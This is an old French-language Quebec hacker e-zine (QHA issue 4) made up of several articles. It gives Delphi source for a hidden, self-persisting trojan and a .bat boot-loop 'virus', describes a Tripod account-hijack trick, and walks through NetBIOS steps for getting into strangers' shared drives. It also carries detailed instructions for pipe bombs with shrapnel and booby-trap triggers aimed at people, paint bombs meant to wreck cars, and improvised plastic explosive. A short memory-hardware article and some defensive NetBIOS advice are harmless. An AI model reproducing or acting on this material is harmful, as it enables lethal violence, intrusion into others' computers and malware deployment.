                    ________             __                 __         __________


                 /QQQQQQQQ\        |HH|              |HH|     /AAAAAAAA\


                 |QQ| ¯¯¯¯¯ |QQ|      |HH|              |HH|     |AA|¯¯¯¯¯¯|AA|


                 |QQ|              |QQ|      |HH|______|HH|     |AA|______|AA|


                 |QQ|            _|QQ|      |HHHHHHHHH|     |AAAAAAAAA|


                 |QQ|        |QQQQ|      |HHHHHHHHH|     |AAAAAAAAA|


                 |QQ|__   |QQQQ|       |HH|¯¯¯¯¯¯|HH|     |AA|¯¯¯¯¯¯ |AA|


                 \QQQQQQQQQ\      |HH|              |HH|     |AA\             /AA|


                  ¯¯¯¯¯¯¯¯ |QQQ|     |HH|              |HH|     |AAA|       |AAA|


                                       ¯¯¯       ¯¯                  ¯¯       ¯¯¯¯          ¯¯¯¯


			    "We Are Everywhere"		


					


    	                       *******************************


     	                       *                           QHA                               *


                                       *                        E-Zine #4                          * 


     	                       *            http://www.qharulez.com            *


	                       *                 dukester@hehe.com              *


	                       *******************************


o=---------------=o


|  Introduction  |


o=---------------=o





		Bienvenu au Zine #4 des Quebec Hacker's Alliance, Ce


	e-zine a été ecrit en une journée... Il n'est donc pas bourrer


	a 100% mais au moins avec ce donc on la remplit n'est pas lame


	et est pamal toute du nouveau ... on va aussi bientot sortir le


	QHA Crypter/Decrypter et le QHAnet (notre serveur IRC sur


	OC3 va se linker avec QuebecShell) ca c d'la bonne pub! :)


	Et je voudrait aussi dire que malgré tout ce qui se passe


	en se moment we Still and Always will: RULEZ DAT FUKIN


	WORLD!! Voici donc un resultat de notre gloire :


	QHA's E-Zine Number Four!!








o=------------------------=o


|  Qui sont les QHA?  |


o=------------------------=o





Les QHA (Quebec Hackers Alliance) est une société, et comme dans toute société nous somme composé de gentil et de mauvais... nous avons un coté "legal" comme le web design et la radio etc etc... et d'autre coté plus illegal comme le hacking ,phreaking, anarchy etc...mais nous n'avons qu'un but: faire avancer notre organisation jusqu'au bout et pouvoir devenir un des plus gros centre de services informatique du net tout en restant benevoles... Nous somme des constructeur contrairement a certaine personne et a certain crew que l'ont nommera pas qui ne servent qu'a detruire ce que les autre construisent... Nous somme la pour faire avancé l'informatique et de pouvoir vous servir nos talents...





Nous sommes un organisme de jeunes et talentueux informaticiens Quebecois. Qui veulent donner de leur temps pour vous offrir tout ce qui peut s'offrir sur Internet comme services, ayant de de la qualité et avec un excellent support technique. Ceux qui ont ete accepté pour etre membres des QHA ne sont pas seulement des destructeurs de réseaux ni de station personnelle, comme notre drapeau semblerait le signifier. Non, nous sommes ici pour vous offrir des services gratuits tout en apprenant a maîtriser les metiers que nous avons choisis. 





Nous envisageons de créer, dans la mesure du possible, autant de sous-sections qu'il existe de talents. Notre but est de regrouper les jeunes du monde et de leur offrir une chance de démontrer leurs capacités. 





En effet, nous sommes ici pour vous, et pour apprendre a mieux vous servir en utilisant ce que nous possédons à l'intérieur de nous-même: notre esprit et nos talents. Tout ce qu'il nous faut, c'est de l'expérience et la conviction que nous pouvons atteindre tout ce que nous voulons. 








o=------------------=o


|  Avertissement  |


o=------------------=o





	Veuillez prendre note que tout ce qui est inscrit dans ce qui suit n'est 


	qu'a but educatif. Les auteurs de ces articles retirent la responsabilite de ce 


	que vous en faites. En bon quebecois "C pas notre probleme sti". Et avant de 


	continuer n'oubliez pas que vous n'avez aucun droit de copier ces articles.
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o=----------------------------------------------------------------------=o


|  Programmation d'un trojan sous Delphi, par Pikashu  |


o=----------------------------------------------------------------------=o





           Ben voilà, je vais vous proposer d'apprendre à programmer un trojan en


Delphi, avec des fonctions comme rebooter le pc, créer un répertoire, 


renommer des fichiers, supprimer des fichiers, ouvrir


le lecteur de cd, ... C'est pas kewl ca non. Donc je vous préviens tout de 


suite, il sera programmé en Delphi.. 


Vous etes surment écoeuré d'attendre fak go! 


       Bon, avant tout, il serait bien que vous vous munissiez de certains 


composants, allez sur http://www.rtfm.be/fpiette/ et téléchargez ics, c'est 


grâce à ce composant TCP/IP que poura fonctionner notre trojan. Voilà, vous 


l'avez installé? Bon on va d'abord commencer à s'attaquer à la taupe. Voila, 


ce fichier on va l'envoyer à la victime, il faudra qu'il le télécharge, puis 


qu'il le démarre et que là le fichier ouvre les ports de la bécane et 


qu'ensuite, il se relance à chaque démarage. En plus il faudrat que ce 


fichier soit absent de la barre des tâches et de ctrl+alt+suppr. Ben autant 


dire que ça fait beaucoup tout ca. On va donc d'abord voir comment lancer le 


programme espion à chaque démarage. Pour cela, il faut infecter la base des 


registres, dans la partie HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\


Currentversion\Run . Dans ce registre, on va lui indiquer le chemin et le 


nom du programme à lancer à chaque démarage, par exemple c:\windows\system\


winsys.exe . Il faut toujours donner un nom au programme qui fasse made in 


Krosoft, ainsi que le mettre dans un répertoire ou on ne va pas tout les 


jours (créez pas c:\trojan\espion.exe :) Bon donc comment allons nous faire 


tout cela en Delphi? He ben je sais pas...  Non non partez pas, je rigole 


Donc il faut utiliser winreg.pas (uses winreg.pas), comme je suis un mec 


vachement kewl, je vous le fournis (merci qui?). Donc on va mettre tout ça 


dans la procédure qui se lance au démarage du programme. Voir ci-dessous. 


procedure TForm1.FormCreate(Sender: TObject);


var a : string;                          //  Déclaration


pc: array[0..250] of char;               //      des


reg: TWinRegistry;                       //   variables


begin


ShowWindow(Application.Handle, SW_HIDE); // on cache l'application dans la 


                                            barre des tâches.


GetWindowsDirectory(pc, sizeof(pc));     //pour obtenir le répertoire de 


                                         //Windows


a := strpas(pc)+'\system';               //Répertoire de Win\system





// ---------------- Infection de la base des registres -----------------





reg := TWinRegistry.CreateWithKey(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\Currentversion\Run');


                                         // Création de la clé dans 


                                         //  HKEY_LOCAL_MACHINE......


reg.WriteString('', 'BOOTSTART', a + 'winsys.exe 1');


// Ecriture dans la clé, ici le nom est BOOTSTART et la valeur c:\windows\system\winsys.exe 1.


reg.free;// ------------------------ Fin de l'infection ------------------------


if not fileexists(a + 'winsys.exe') then copyfile(pchar(application.exename), pchar(a+ 'winsys.exe'), false);


// On regarde si le fichier winsys.exe existe (ce qui serait etonnant), et donc si il n'existe pas on le copie dans c:\windows\system .


if paramstr(1) <> '1' then // Si le fichier trojan à pas de paramettre = à 1 alors affiche message.


MessageBoxEx(0, 'Le fichier WKsoft2d.dll est absent ou endommagé.', 'Windows Error Dlls', MB_SYSTEMMODAL, LANG_FRENCH);


                                         // Ca c'est pour explique que rien 


                                         // ne se lance


Application.ProcessMessages; end;       











o=-------------------------------------------=o


|  HACKER TRIPOD, Par Dukest4r |


o=-------------------------------------------=o








Tu devra avoir 2 fenetre de netsape d'ouvert donc pas pas te melanger:


(*1*) = Netscape #1


(*2*) = Netscape #2


Au tout debut tu va dans la page "login" (*1*) et ouvre un deuxieme Netscape (*2*) fesant ctrl+n


(car tu dois etre dans la meme session)... et la tu rentre sur un autre user donc tu a acces (si


tu en a pas tu devrai en créer un nouveau) (*2*) Tu te log... et va editer lapage ou wathever pour


que tripod te voit vraiment logger, ensuite tu fait juste farmer lotre netscape (*2*) ensuite tu va


dans lotre netscape (*1*) pi tu te log sur le user tu veut dans lotre avec le pass du nouveau pass


(celui que t'avait deja acces) et te voila loger dans lotre user malheureusement tu ne peut pas


changer les information car sa va te mener a ton autre user... tu ne peut qu'editer la page! hehe


mais c suffisant! :)





Dukest4r











o=----------------------------------------------------=o


|  Création d'un virus en .bat, par Pikashu |


o=----------------------------------------------------=o








ces virus sont très dangereux a ne pas essayer sur son pc.... a mettre dans le autoexec.bat


@echo off


REM This little and innofensive virus created in Jun 1999 by QHA


REM Ce petit et innofensif virus a été crée en Juin 1999 par QHA





REM ici, on nomme cette partie du prog afin de la répéter … l'infini...


:virii


echo ERROR 0012562: Windows failure


echo [Analyse]


echo [...]


echo [Finish!]


echo.


echo The analyse detect an error Windows:


echo Boot error


echo Unable to open config.sys


echo Unable to open autoexec.bat


echo System files not found


echo.


pause


echo.


echo MAXIMUM WINDOWS ERROR:


echo [Analyse]


echo [...]


echo [Finish!]


echo.


REM ici, on met que c un crash total et que windows doit etre réinstall‚...


echo The analyse detect an error Windows:


echo ANALYSE: You must reinstall Windows


echo.


pause


REM on retourne au début du fichier, afin qu'il soit lu … l'infini ;)))


goto virii





virii #2


DIM virii AS INTEGER


virii = 1





WHILE virii = 1


PRINT ""


PRINT ""


PRINT "                 Ce programme est un virus"


PRINT "           Il ne détruit pas de données, mais il"


PRINT "           empeche votre PC de démarrer. Bien sur"


PRINT "          l'antivirus ne détecte pas ce virus. Il"


PRINT "          faudra qu'un utilisateur sachant manier"


PRINT "         manier le DOS et... Je ne vous en dit pas"


PRINT "         démerdez vous pour vous débarrasser de ce"


PRINT "                   méchant pas beau :)))"


PRINT ""


WEND


END





P.S. ya tres bien marché sur wzGATE (président des 912) donc sa devrais marcher... :)














o=-----------------=o


|  Les memoires  |


o=-----------------=o





Introduction


============





Rom,Ram,VRam...autant d'abréviations qui déroutent l'utilisateur débutant. Le terme générique


de mémoire recouvre différents sens selon qu'elle est morte ou vive, tsatique ou dynamique, vidéo


, virtuelle...Et d'autre concepts entrent en ligne de compte : vitesse, adressage... Comprendre 


comment cela fonctionne et bien la gérer, ce n'est pas de la curiosité mal placée...c'est vital 


au quotidien!





Rom (Read only memory)


======================





Votre oridnateur dispose de mémoire morte ou Rom. Son originalité est d'embarquer dans cette Rom


non seulement ke code servant à son démarrage mais surtout une grande partie de son systeme 


d'exploitation et une boite a outil de routines préprogrammées que les devellopeurs peuvent 


appeler dans leur logiciels. C,est aussi dans cette Rom que se cache le logiciel de controle


de la mémoire vive. Ces informations ne sont accessibles qu'en mode lecture seule. Impossible


de les effacer ou d'écrire de nouvelles donnés dans la Rom. Cette mémoire est gravée en usine 


une fois pour toutes et est sondés par la carte mere. Mais tout les ordinateurs ne disposent


pas des memes Rom. Leur contenu a beaucoup évoluer depuis 1984! Aujourd'hui, les Power Mac


embarquent 4 Mo de Rom alors que les Mac II n'en recelaient que 128 Ko !





Ram (Random access memory)


==========================





En bon francais : memoire a access aléatoire. On l'appelle couramment memoire "vive". Lorsque


vous utilisez votre ordinateur, les informations stockées sur le disque sont transférés dans 


la Ram, manipulées par le processeur puis ré-écrites sur le disque. La Ram perd son contenu


en l'absence d'alimentation electrique. Lorsque l'ordinateur est en fonctionnemnt, la Ram


contient des portions du logiciel Systeme, des fichiers de démarrage, des informations pour


l'affichage vidéo,des extensions, des polices de caracteres, les catalogues des disques et des


parties des applications ouvertes ainsi que les données nécessaires a ces applications. 





Mémoire Virtuelle


=================





Vous avez parfois du mal a ouvrir certains fichiers? Vous manquer d'un peu de memoire. Devez-vous


pour autant racheter des barrettes ? Pas sur, si votre besoin n'est qu'occasionel. Il est 


possible de simuler la memoire Ram en allouant de l'espace sur le disque dur a la mémoire


virtuelle. Une solution moins couteuse que l'achat de barrettes mémoire. Mais attention : les


applications sont généralement ralenties par le temps d'acces au disque dur, bien plus important


que pour l'acces a la Ram. Pas question donc d'allouer 50 ou 100 Mo a la memoire virtuelle meme


si vous disposez de cet espace sur le disque. Pour obtenir un réel confort de travail, faites en


sort que le volume de mémoire virtuelle n'excede jamais la moitié de la memoire vie réelement


installé. Pour activer la mémoire virtuelle, votre ordinateur doit integrer une unité de gestion 


de la memoire paginée (PMMU).





Ram disque


==========





Systeme inverse du précédent en quelque sorte : vous utilisez temporairement une partie de la Ram


pour simuler un disque dur dans lequel vous placer applications et fichiers que vous utilisez 


pendant votre session de travail. Attention, la place prise par la Ram disque n'est pas dynamique


et ne pourra etre utilisée par d'autres applications lancées à partir du disque dur.





Mémoire cache


=============





Il en existe trois types. Deux sont matérielles ; le troisieme est un mécanisme logiciel. On


trouve d'une part, la mémoire cache dite de premier niveau integrée au processeur. La mémoire


cache dites de second niveau, est standart ou optionnelle. Il s'agit de carte de 256 Ko a 


plusieurs Mo qui s'enfichent dans un emplacement prévu a cet effet sur la carte mère. Ces deux


types de mémoires cache permettent au processeur de stocker temporairement des instructions qu'il


a traiter continuellement. Troisieme type :  un systeme logique qui permet de gérer comme zone 


tampon une partie de la mémoire vive. Cette zone contiendra des instructions voire des donnés


fréquemment utilisées par le processeur. Avec des utilitaires comme "Speed Access" (composant de


"Speed Doubler" de Connectix), le systeme est capable de tirer parti de toute la mémoire cache


que vous voulez bien définir. Attention, l'espace Ram attribué à la mémoire cache n'est pas 


utilisable par les applications.  








VRam (Video Ram)


================





Pour composer un image, avant de l'afficher sur l'écran, le systeme ne travaillent pas 


directement en memoire vive. Il utilise une mémoire spéciale, dédiée à la vidéo. Selon le volume


de mémoire vidéo dont vous disposez, vous afficherez les images dans un certain nombre de 


couleurs et à une certaine résolution. Sur l'écran d'un Mac Classic, qui ne travaille que sur


un seul bit ( son écran est en noir et blanc), une image de 640 x 400 pixels ne "pese" que 32 Ko.


Mais une image sur un écran 14" affichée en 256 couleurs (8 bits) reprensente environ 640 x 480


x 8 pixels = 2,5 millions de bits = 307 Ko ( j'vous entends déja dire "Maman c,t quoi un pixel...


oublier ca). Sur un écran 19" en millions de couleurs (24 bits) une image "pese" 1024 x 768 x 24


= 19 millions de bits = 2,3 Mo! ( Maman, j'veux un écran 19"!!). Attention ! Ces calculs ne sont


pas toujours valables. Ex: un Mac Lc ou Performa 630, bien que doté de 1 Mo de VRam, ne reconnait


pas les écrans au-delà du 15". Le Power Mac 6100, avec ses 512 Ko de VRam, n'affiche que sur 256


couleurs sur un moniteurs 16". A moins d'acheter une carte vidéo en plus.





Vitesse


=======





Autre caractéristiques des mémoires : la vitesse à laquelle elles répondent à une sollicitation.


Dommage d'adjoindre des mémoires lentes a une bête de course! Inversement, pas besoin de mémoires


ultrarapides sur un 486.





Broches (pins)


==============





Comme la plupart des composants électroniques inclus dans votre ordinateur, les mémoires Ram 


possède un nombre de broches de connections. Qui différent d'ordinateur à ordinateur!








Et oui c'est déja tout pour cet article. J'espere que vous avez appris quelque chose et au fond,


vous avez compris que ce n'est pas si compliquer que ca!





								Mind Flayer


							[Illithid From The UnderDark] 














o=-----------------------------------------=o


|  Encore une bombe, par Pikashu  |


o=-----------------------------------------=o





Ce qu'il vous faut : 





- Paillesssss


- Pâte à modeller


- 1 Aiguille ou 2 ou 3 ou 4 mais plus que 1 ca sert a rien :))


- bon.. sté les pétards que tu mets dans les petits fusils, c'est en


  rouleau de 8 et s'est rouge, en plastique et c'est une roulette :


  c'est pas cher.. autant que vous voulez.


- Petit bocal.





Instruction : 





1- bon... pour commencer, il faut prendre une roulette de pétard, avec 


   l'aiguille auter le petit capuchon en papier blanc qui protege la


   poudre de tombé et le jeter.


2- Frotter DOUCEMENT la poudre pour qu'elle tombe dans le petit bocal.


3- Faire ca jusqu'a ce que vous en aillez beaucoup.


4- Découper un petit morceau de paille de cette longueur(longueur réelle


   ici:)  longueur =    =====================


5- Avec la pate a modeller, boucher une extrémité de la paille. Il faut 


   que ca soit bien bouché sinon ca pete pas !!! 


6- Apres, mettre de la poudre dedans, vous pouvez le compresser si vous 


   voullez, ca pete umpeu plus fort. 


7- Boucher la derniere extrémité mais il faut laisser umpeu de place pour


   mettre un meche(pour savoir comment en faire une, il faut lire le zine


   #1 pour savoir comment, par _Franck).


8- Ben la apres, ils faut l'allumer et le lancer !!!!

















o=----------------------------------------------------------------------------=o


|  Comment faire une paint bomb facilement??, par Pikashu  |


o=----------------------------------------------------------------------------=o





Une paint bomb peut sortir a pas mal d'affaire cool.. genre toute scrapper la peinture d'un char barbouiller du monde!.





T'aura besoin de





1 gallon de peinture ou plus selon vous


1 Paquet de glace sèche (par galon)





Vous faite juste mélanger ca ensemble, et ca prend 20 sec et ca pete. Quand vous meter la glace sèche dans la peinture, refermer le couvert solidement, et coure vite en cris, parce que je vous garanti que sinon vous aller etre beurrer en colis. La vous aller dire ou pogner de la glace sèche, ben moi je vous répond dans une trousse de secour, ou encore mieux a l'hopital.





tk, amuser vous bien!! héhé





Pikashu








 





o=------------------------------------------------=o


|  Quoi crisser dans l'dos, par Pikashu  |


o=------------------------------------------------=o





premiere belle comand..


NBTSTAT


Ok


tu vas sur ton ordi


tu te mets en réseaux avec ton imprimante avec


tu le fais comme du monde


tu rboot ton ordi voila t en réseaux


asteur tu vas en dos


tu tappes


nbtstat -a IP D'LA VICTIME


si sa marche ensuite tu vas tapper edit


tu mets l'ip de la victime


et tu le saves sous le file


imhost en minuscule dans c:\windows


ensuite tu refais nbtstat -a IP d'la victime


tu checks c info pis toute pis si tu l'as tu sors du dos 


tu vas dans


rechercher ordinateur


tu tappe le nom du pc sa peut etre lamer par example.. et son pass


voila t connecté a son pc


bon niaisage!





Pour pinger ben tu as po besoin de prog ta juste besoin de ton bo ti ms dos


tu t'appes ping ip d'la victime


wow cé magik lol


 


pis ya aussi comment tracer.


po besoin de prog moi si t un vrai pro!


en passant vive les QHA


QHA RULEZ


hehe


tracert ip d'la victime tu vu kom c bo?





pis une derniere commande





netstat


ca sa tsert a voir si ya un criss de con d'osti d'trou d'cul d'bs ki essaye d'hacker ton criss de pc ki foire tout le temps..


cé tout pour cet article


a+  PIKASHU











o=----------------------------------------------------------------------------------------------------=o


|  ADD ON ABOUT NETBeui protocol and NetBios commands, par Clad Strife |


o=----------------------------------------------------------------------------------------------------=o





Vous avez deux PC sous Windows 95/98/NT à relier en réseau. Mais ils sont distant de 1000 kilomètres. Nous allons vous 


décrire une procédure simple, exploitant les fonctionnalités de Windows et d'Internet. Mais comme toute médaille, l'aspect face 


du procédé dévoile aussi une faille de Windows. En vous expliquant par le menu la procédure, nous vous expliquerons 


également comment vous prémunir contre les effets indésirables du procédé: le piratage! 





Installation du réseau


En entreprise, ou à titre personnel pour les plus fortunés d'entre-vous, chers amis lecteurs et bidouilleurs occasionnels, vous 


appréciez particulièrement la mise en réseau des micro-ordinateurs, liaison permettant un partage aisé des fichiers, des 


applications et des ressources. Il est possible, sous Windows, de mettre en réseau plusieurs systèmes en utilisant comme 


support réseau Internet. 





Sous Windows, le réseau local échange les informations au protocole NetBUI. Si vous n'avez pas activé ce réseau, c'est très 


simple, sous Windows 95/98, procédez comme suit:


 - bouton "Démarrer" - Paramètres - Panneau de configuration.


 - dans le panneau de configuration, cliquez sur Réseau. (voir figure 1)


 - dans Réseau, cliquez sur Ajouter


 - sélectionnez "client" et cliquez sur Ajouter


 - sélectionnez ensuite Microsoft et comme client réseau "Client pour réseau Microsoft".


Vous devez installer Client pour les réseaux Microsoft et Fichier et imprimante partagés par le réseau Microsoft. Suivez le reste 


de la procédure jusqu'au relancement de votre système. Ayez le CD-Rom Windows 95/98 à portée de main, car il risque de 


vous être demandé. 





Si le réseau est correctement installé, vous devez avoir une nouvelle icône Voisinage réseau sur votre bureau. Si vous n'avez 


aucune liaison réseau, l'activation de cette icône vous indique que le parcours du réseau global est impossible. 





Etablissement du réseau au travers d'Internet


Pour établir une connexion réseau entre deux PCs distants au travers du réseau Internet, il faut d'abord que vous connaissiez 


l'adresse IP du PC à relier. Demandez à votre correspondant de vous la transmettre. Il faut qu'il clique sur Démarrer - 


Exécuter, taper winipcfg et relever l'adresse IP de sa machine. Si vous avez une liaison ICQ, il y a moyen de connaître cette 


adresse IP avec les utilitaires adéquats. 





Ensuite, utilisez le programme nbtstat.exe. Cliquez sur Démarrez - Programmes - Commandes MSDOS. Sous DOS, il faut 


taper:


  nbtstat -A <no_ip>


où <no_ip> est l'adresse IP de la machine cible à laquelle vous souhaitez relier votre réseau local. Exemple:


  nbtstat -A 175.193.256.35 





Pour les besoins de notre démonstration, cette adresse est fictive. Si le système cible est en réseau local NetBIOS, vous devez 


avoir à l'affichage des informations renvoyées par l'exécution de nbtstat. Dans les informations affichées, la seule qui nous 


intéresse est pointée par <20>, sous le nom BRAUNEIG pour ce qui concerne notre exemple de la figure 2. C'est le nom de 


l'ordinateur qu'il faut relier à votre réseau local.





Toujours sous DOS, éditez le fichier lmhosts en tapant simplement:


  EDIT LMHOSTS 





Dans ce fichier, tapez simplement l'adresse IP de la machine cible, suivi de son nom et de #PRE comme suit:


  175.193.256.35 BRAUNEIG #PRE 





Sauvez ce fichier sous le nom LMHOSTS et quittez l'éditeur. De retour sous DOS, tapez:


  nbtstat -R 





C'est tout! Revenez sous Windows, cliquez sur Démarrer - Rechercher - Ordinateur. Comme nom d'ordinateur, indiquez celui 


qui a été saisi dans le fichier LMHOSTS. Si tout se passe bien, la machine cible s'affiche dans la fenêtre de résultat de 


recherche (voir figure 3). Cliquez simplement avec le bouton droit de la souris sur le nom de l'ordinateur dans cette fenêtre de 


recherche, puis cliquez sur Ouvrir. 





Vous voilà connecté au système cible. Comme on peut le voir sur la figure 4, nous avons maintenant accès à toutes les 


ressources partagées du système cible. Nous pouvons visualiser le contenu de tous les dossiers de tous les disques accessibles, 


copier ces fichiers vers notre système, copier des fichiers depuis notre système vers le système cible, détruire, renommer, ouvrir 


mmêmeces fichiers et même exécuter des programmes! En cliquant sur un programme exécutable, il s'exécutera sur votre 


système. Oui, vous pouvez effectuer tout ce qui est concevable en réseau local au travers de votre extension de réseau 


Internet. 





Les failles du réseau


L'établissement d'une extension de réseau local au travers d'Internet n'est pas stable. Si le système distant se déconnecte et se 


reconnecte, il y a de fortes probabilités pour que son adresse IP change. Il vous faudra refaire toutes les manoeuvres pour 


rétablir la liaison. Au bout de quelques essais, la liaison est rétablie en quelques minutes. 





L'établissement d'un réseau local au travers d'une liaison Internet par réseau RTC reste fastidieuse, mais est une bonne 


alternative pour permettre par exemple à un gestionnaire de parc PC de faire un peu de ménage dans un système mal utilisé, 


voir même d'installer à distance des applications et des fichiers. Cet établissement de réseau local devient nettement plus 


intéressant pour des abonnés connectés longtemps avec des adresses IP stables, cas des systèmes sur LS, abonnés câble ou 


ADSL. 





La vitesse de communication sur cette exténsion du réseau local est tributaire des possibilités de votre matériel de 


communication, faible en RTC, beaucoup plus performante sur LS, ADSL ou réseau câblé. 





Mais ce procédé d'extension du réseau local révèle un véritable problème de sécurité. Le système Windows ne fait aucune 


différence entre des ressources partagées sur le réseau strictement local et un système distant qui se connecte au travers 


d'Internet. Si le système exploite le partage de ses ressources sans mot de passe d'accès à ces ressources, il est vulnérable à 


toute attaque extérieure pendant qu'il navigue sur Internet. 





Vous pensez qu'il est très aléatoire de tomber sur un système exploitant un réseau local non protégé. Détrompez-vous. Pour en 


avoir le cœur net (sans jeu de mot), nous avons utilisé un outil, WS-PingPro Pack, outil qui scanne une suite d'adresses IP et 


indique toutes les adresses IP actives. La simple manoeuvre effectuée par la commande nbtstat -A adresse_ip révèle toutes les 


adresses IP ayant un réseau NetBIOS actif. En moyenne, c'est près d'une adresse IP sur cinq qui répond positivement. Parmi 


ces adresses actives, nous en avons découvert sans aucune protection d'accès à leurs ressources. 





En clair, il est donc possible de pénétrer ouvertement des systèmes sous Windows 95/98 exploitant un réseau local non 


protégé sous NetBIOS, à l'insu de son utilisateur, sans recourir à un logiciel serveur comme c'est le cas quand on utilise NetBus 


ou Back Orifice (voir Pirates no 2). 





Les protections


Qu'il n'y ait aucune méprise! Si on vous révèle une telle faille de sécurité, c'est justement pour vous expliquer comment vous 


protéger. 





La première protection, la plus élémentaire, naviguez sur Internet à partir d'un système non raccordé au réseau local. Nous 


serions mauvaises langues, nous vous conseillerions même de choisir un autre système d'exploitation que Windows. Mais vous 


n'avez probablement pas tellement le choix, en particulier dans votre environnement professionnel. 





Donc, la seconde protection consiste à restreindre l'accès aux ressources de votre réseau local en modifiant les propriétés de 


chaque ressource de ce réseau. Par exemple, pour interdire l'accès à votre disque dur C, cliquez sur l'icône Poste de travail - 


sélectionnez le disque C -  cliquez avec le bouton droit de la souris et sélectionnez Partage. 





Vous pouvez ne pas partager le disque C, ou le partager en lecture seule, en accès complet ou en accès par mot de passe. 


Dans le premier et troisième cas, indiquez le mot de passe d'accès à votre disque C. Ainsi, les visiteurs indélicats devront 


montrer patte blanche. 





Voici une astuce tordue pour savoir si vous avez un visiteur indélicat. Si vous n'utilisez pas le lecteur de disquette A pendant vos 


accès à Internet, partagez-le en accès complet et donnez-lui comme nom de partage PORNO-PICTS par exemple. Les 


hackers seront systématiquement attirés comme les mouches par le miel (ou moins ragoûtant, la m...). Donc, si votre disque A 


se met en action, vous avez très probablement un visiteur. Et pour connaître l'identité du visiteur, passez sous DOS et tapez 


simplement netstat. L'adresse IP sera très probablement indiquée par son nom de réseau. 








o=-------------------------------=o


|  Pipe-Bomb, par Pikashu  |


o=-------------------------------=o








PIPE-BOMB





(by T\\'ISTER)





Bon je vais vous indiquer, par la présente, comment faire sauté ce que vous voulez. La bombe la plus polyvalente de toute, selon moi, est la pipe-bombe. Je vous donnerez les différent mode de détonation ainsi que les différente utilité de la bombe





Pipe-Bomb


Si vous vous rappelé les JO d'Atlanta, la bombe qui a sauté la bas c'était ça. Mais ça peut aussi servir a faire sauté des chars pis y'a même des tueurs en séries qui s'en servait.





1. Bombe de base


Ingrédient : 


-* Chlorate de potassium


-Tuyau de cuivre avec des bouchon de cuivre a soudé dessus


-équipement de soudure





* Du calice de chlorate de potassium c'est pas trouvable fait que prenez de la poudre noir. Ça sa se trouve dans les pétards ou les feux d'artifice. Réunissez-en autant que vous pouvez.





ATTENTION : On soude pas avec la poudre proche de nous





Fabrication :


Soudez le premier bouchon a un bout du tuyau. Percez l'autre bouchon et soudé a l'autre bout tu tuyau. Remplissez le tuyau de poudre par le trou





2. Variation sur la bombe


Avant de soudé le 2ieme bouchon, placez de clou ou des éclats de vers dans le tuyau. (c'est la bombe qui a été utilisé a Atlanta)





3. Moyen de détonation


Le plus simple est de passé une mèche par le trou et de l'allumé a la main, mais je recommande juste ça au kamikaze, gens suicidaire, qui tienne pas à la vie, qui sont fou. Si vous êtes de ceux-là, faite la mèche a l'aide d'une ficelle imbibé d'essence.





Moyen le plus professionnelle qui fait toute la polyvalence de la bombe; le détonateur électrique. Coûte a peu près 50¢. C'est ceux utilisé pour les fusées modèles réduits. À la place ou on devrai mettre la mèche, dans le petit trou on place l'allumette électrique. On la relie avec 2 fils. Maintenant, pensé a tout ce qui a une batterie ou qui est branché sur le 120 et ou l'on peut placer une bombe qui explose lorsque l'on l'allume : char, sonnette avec la bombe sous la galerie (faut pas aimer les témoins de Jéhovas ), ordinateur, etc. Pour ne pas gaspillé un objet d'une tel valeur, testé vos branchement avec une lumière de noël avant. Quand vous obtenez l'effet escompté, Branché la vrai bombe. Maintenant passons au chose sérieuse. Ça c'était pour les gens avec une tête sur les épaules. Pour les vrai psychopathe, pyromane ou le monde de cette espèce, voici une véritable révélation : la bombe à niveau. Un peu plus compliqué. Il vous faut un thermomètre au mercure. Cassé le avec soin et ne perdez pas de mercure. Précaution #1, avant de continué les opérations, placez un interrupteur sur votre bombe pour s'assurer qu'elle n'explosera pas durant les manipulation. Passez vos fils de cuivre dénudé dans un récipient. Il ne faut pas qu'un liquide puisse s'en écouler. Ensuite, versez-y le mercure. Il ne faut pas que le mercure rejoigne les deux partit dénudé en même temps sinon….BBOOUUMM. D'où l'utilité de l'interrupteur. Pour activé, ouvré l'interrupteur. Un tueur en série se servait de « cadeaux » qu'ils fallaient manipuler avec soins. Il est mort en sortant un « cadeaux» de sa voiture. Je vous assure que cette bombe place la victime potentielle dans un état de stresse incomparable.





Utiliser ce document à des fins éducationnelles seulement. Je me dégage de toute responsabilité. Pour plus d'information sur tout ce qui concerne le QHA :Anarchy-department, contactez moi par ICQ à 22685703…


 


…Tout le matérielle cité plus haut est trouvable chez kirouac, CanadianTire ou d'autre place de même.











o=--------------------------------=o


|  Le plastique, par Twister  |


o=--------------------------------=o








QHA :Anarchy-department


(by T\\'ISTER)





Dans cette article je vous présenterai le plastique. Celui qui fait toujours tout sauter dans les films. Contrairement a ce qu'on peut pensé, c'est plutôt facile a faire. Je tiens a mentionné que je n'ai jamais essayé les recettes que je vais vous présenté, donc je ne garantis pas que ça va donner les résultats voulu.





Plastic


1. Recette de base


Ingrédient : 


-* Chlorate de potassium


-Polystyrène


-Essence


-Gelé de pétrole





* Du calice de chlorate de potassium c'est pas trouvable fait que prenez de la poudre noir. Ça sa se trouve dans les pétards ou les feux d'artifice. Réunissez-en autant que vous pouvez.





1.Fabrication :


Mettez le polystyrène dans l'essence. Je le sais votre essence le mange pis c'est ca qui faut. Mais laissez le pas devenir trop liquide. En passant pendant la 2ieme guerre le napalm utilisé pour tuer le monde dans les bunkers c'était du polystyrène dans de l'essence, sauf qu'au lieux de retiré le plastic ils le laissaient se dissoudre pour faire une sorte d'huile inflammable qui boucane comme le christ. Pour en revenir au plastic, on retire la sorte de pâte pis on la mélange a notre poudre. Je connais pas les proportion mais d'après moi avec le tiers de poudre ça devrait être pas pire.  Dans un guide de survis de l'armée canadienne (fait qu'y faut pas faire ça), ils disent de prendre de la Vasoline au lieu de ma mixture de napalm. Je pense pas que ca soit aussi efficace. Mais pour protégé votre plastique contre l'humidité, ça peut être bon de le recouvrir de Vasoline. Paraît même que ça marche sous l'eau mais ça je suis septique. 





2. Moyen de détonation


Le plus simple est de passé une mèche de l'allumé a la main, mais je recommande juste ça au kamikaze, gens suicidaire, qui tienne pas à la vie, qui sont fou. Si vous êtes de ceux-là, faite la mèche a l'aide d'une ficelle imbibé d'essence.





